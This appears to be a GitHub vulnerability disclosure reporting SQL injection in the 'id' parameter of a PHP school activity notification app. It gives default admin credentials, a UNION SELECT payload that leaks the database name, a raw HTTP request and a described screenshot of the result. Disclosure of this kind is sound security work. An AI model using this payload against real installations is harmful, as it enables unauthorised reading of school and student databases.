

 main ▾

...

[bug_report](#) / [vendors](#) / [janobe](#) / [school-activity-updates-sms-notification](#) / [SQLi-3.md](#)



moyess Create SQLi-3.md

 History

 1 contributor

31 lines (21 sloc) | 1.18 KB

...

School Activity Updates with SMS Notification v1.0 by janobe has SQL injection

BUG_Author: Moye

Login account: admin/admin (Super Admin account)

vendors: <https://www.sourcecodester.com/php/13799/school-activity-updates-sms-notification-phppdo.html>

The program is built using the xampp-php5.6 version

Vulnerability File: /activity/admin/modules/autonumber/index.php?view=edit&id=

Vulnerability location: /activity/admin/modules/autonumber/index.php?view=edit&id=, id

dbname =db_wvsu

[+] Payload: /activity/admin/modules/autonumber/index.php?

view=edit&id=-1%27%20union%20select%201,database(),3,4,5--+ // Leak place ---> id

GET /activity/admin/modules/autonumber/index.php?view=edit&id=-1%27%20union%20select
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=a58hbbkeelngug4ek0dssb0rb5
Connection: close

The screenshot shows a web browser window with a URL bar containing the following URL: `http://192.168.1.19/activity/admin/modules/autonumber/index.php?view=edit&id=-1' union select 1,database(),3,4,5--+|`. The browser's developer tools or a similar utility is open, showing the URL and various options like "Post data", "Referrer", "0xHEX", "%URL", "BASE64", "Insert string to replace", "Insert replacing string", and "Replace All".

On the left side, there is a sidebar menu titled "JANOBE SOURCECODE" with the following items: Dashboard, Events, Announcements, Courses, Departments, Students, and Users. The "Users" item is highlighted.

The main content area displays the "Start" field with the value "db_wvsu" highlighted in yellow. Below it, the "INC:" field shows the value "4". The "End:" field shows the value "3". The "End:" field shows the value "5". A "SAVE" button is visible at the bottom.